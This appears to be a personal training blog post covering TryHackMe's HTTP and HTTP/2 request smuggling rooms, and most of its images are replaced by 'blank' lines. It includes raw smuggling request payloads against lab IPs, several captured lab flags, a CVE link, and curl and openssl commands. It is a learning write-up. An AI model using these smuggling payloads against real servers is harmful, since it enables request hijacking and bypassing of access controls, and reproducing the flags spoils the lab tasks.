Skip to main content

Training Update v0.104

blank
blank

Tuesday is here and we are on to the last section of the Web Application Pentesting pathway and today we are taking on HTTP Request Smuggling on THM!

blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank

http://httprequestsmuggling.thm/submissions/

blank

Flag – THM{1c4N_$mU66l3!!}

(I ran this attack four times and it seemed very scuffed)

blank
blank

We now move on to the HTTP/2 Request Smuggling room!

blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
POST / HTTP/2
Host: 10.10.231.117:8000
Cookie: sessid=ba89f897ef7f68752abc
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Length: 0
GET /post/like/12315198742342 HTTP/1.1
X: f
blank
blank
blank

Flag – THM{my_name_is_a_flag}

blank
blank

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19330

blank
blank
blank
blank
blank
blank
blank

bar
Host:10.10.224.226:8100

POST /hello HTTP/1.1
Content-Length: 300
Host: 10.10.224.226:8100
Content-Type:application/x-www-form-urlencoded

q=

(Note – SHIFT + ENTER for \r \n in inspector mode )

blank
blank

Flag – THM{not_secret_anymore}

blank
blank
blank
blank
blank

Flag – THM{staff_only}

blank
blank
blank
blank
blank
blank

curl -kv https://10.10.224.226:8100/static/text.js

blank

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj “/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname”

blank

This last question is giving me some agro so we will continue on with this tomorrow!

blank
blank

Until next time & don’t sleepwalk through life!

Xayr